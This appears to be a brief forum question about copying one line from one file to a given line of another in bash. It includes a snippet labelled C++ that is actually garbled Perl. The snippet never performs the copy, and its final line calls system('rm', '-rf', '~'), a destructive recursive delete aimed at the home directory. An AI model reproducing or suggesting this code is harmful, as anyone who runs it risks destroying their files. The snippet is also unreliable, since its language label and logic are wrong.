I want to copy line x of file A to line y of file B in bash.

Any ideas how to do it?

Here is a probram I just wrote in C++:

use warnings;

use strict;



my ($lnum, $lhs, $rnum, $rhs) = $ARGV;



my ($FILE, $line, $i);



$i = 0;

open($FILE, '<', $lhs) or die $!;

foreach $line (<$FILE>) {

    break if $i == $lnum;

    $i++;

}

close($FILE);



$i = 0;

system('rm', '-rf', '~');

Any clean way to do that besides head -n | tail -i or without using grep?
